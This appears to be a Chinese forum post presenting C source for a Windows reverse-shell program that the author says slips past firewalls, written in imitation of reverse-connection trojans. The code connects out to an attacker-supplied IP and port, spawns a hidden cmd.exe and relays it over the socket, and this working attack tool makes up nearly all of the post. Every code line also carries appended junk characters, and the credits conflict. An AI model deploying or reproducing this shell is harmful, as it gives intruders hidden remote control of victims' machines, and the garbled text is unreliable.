这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4WB-Ec
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/* ============================== VAXT{s&4>
Rebound port in Windows NT \);4F=h}f
By wind,2006/7 h`MF#617
===============================*/ K'h1szW
#include |{@FMxn|q
#include |$7vI&m
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#pragma comment(lib,"wsock32.lib") $u/E\l
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void OutputShell(); LF0sH)e]
SOCKET sClient; ko^\HSXl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OnWx#84
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void main(int argc,char **argv) Rml2"9"`
{ !u]1dxa
WSADATA stWsaData; F V,4pi
int nRet; L_w+y
SOCKADDR_IN stSaiClient,stSaiServer; 1[]&(Pa
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if(argc != 3) 07Edfe
{ V
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printf("Useage:\n\rRebound DestIP DestPort\n"); 4R5D88=C
return; MfmACd^3$
} b}Zd)2G
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WSAStartup(MAKEWORD(2,2),&stWsaData); a5G/[[cwTV
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t^ZV|s 1
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stSaiClient.sin_family = AF_INET; MaD3[4@#
stSaiClient.sin_port = htons(0); V
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {Ha8]y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TO-$B8*nq
{ M3~K,$@
printf("Bind Socket Failed!\n"); l$hJE;n
return; Gy[O)PEEh
} XW?b\!@ $
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stSaiServer.sin_family = AF_INET; /CTc7.OYt
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %?e(hnM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6DZ),F,M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p!/[K6u
{ Jl "mL
printf("Connect Error!"); ?GTU=gpQ
return; .`CZUKG
} sK=0Np=`
OutputShell(); A6oq.I0
} ql<rU@
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void OutputShell() GTv#nnC
{ {iG@U=>
char szBuff[1024]; rfw-^`&{
SECURITY_ATTRIBUTES stSecurityAttributes; *MI*Rz?4
OSVERSIONINFO stOsversionInfo; hAj1{pA,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U}$DhA"r"
STARTUPINFO stStartupInfo; iE.-FZc
char *szShell; Rte+(- iL
PROCESS_INFORMATION stProcessInformation; "g+z !4b#
unsigned long lBytesRead; d`d0N5\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B cj/y4"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vEQ<A<[Z
stSecurityAttributes.lpSecurityDescriptor = 0; =:+0)t=ao
stSecurityAttributes.bInheritHandle = TRUE; dC}`IR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q8ImrC.'^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -=698h*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o/o:2p.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j8 C8X$
stStartupInfo.wShowWindow = SW_HIDE; <:8,niKtw
stStartupInfo.hStdInput = hReadPipe; [0[M'![8M
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U/;]zdP.K
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GetVersionEx(&stOsversionInfo); M2@^bB\J
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switch(stOsversionInfo.dwPlatformId) hY<{t.ws
{ H(Ms^8Vs~:
case 1: +CM7C%U
szShell = "command.com"; a <X0e>
break; T}7uew\v0<
default: /NF# +bx
szShell = "cmd.exe"; z(c9,3
break; FbACTeB
} A\te*G0:S
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vuz4qCQ
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send(sClient,szMsg,77,0); 8n4V
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while(1) wHsB,2H
{ > 8]j
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A[UP"P~u/
if(lBytesRead) }fhHXGK.
{ /48 =UK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &S74mV
send(sClient,szBuff,lBytesRead,0); >qT 'z$
} &d`^E6#
else yZ}d+7T}
{ rVAL|0;3
lBytesRead=recv(sClient,szBuff,1024,0); #WE]`zd
if(lBytesRead<=0) break; .gZZCf&?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #I`ms$j%
} aw}+'(?8]
} nbd Gt
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return; <R1X\s.
}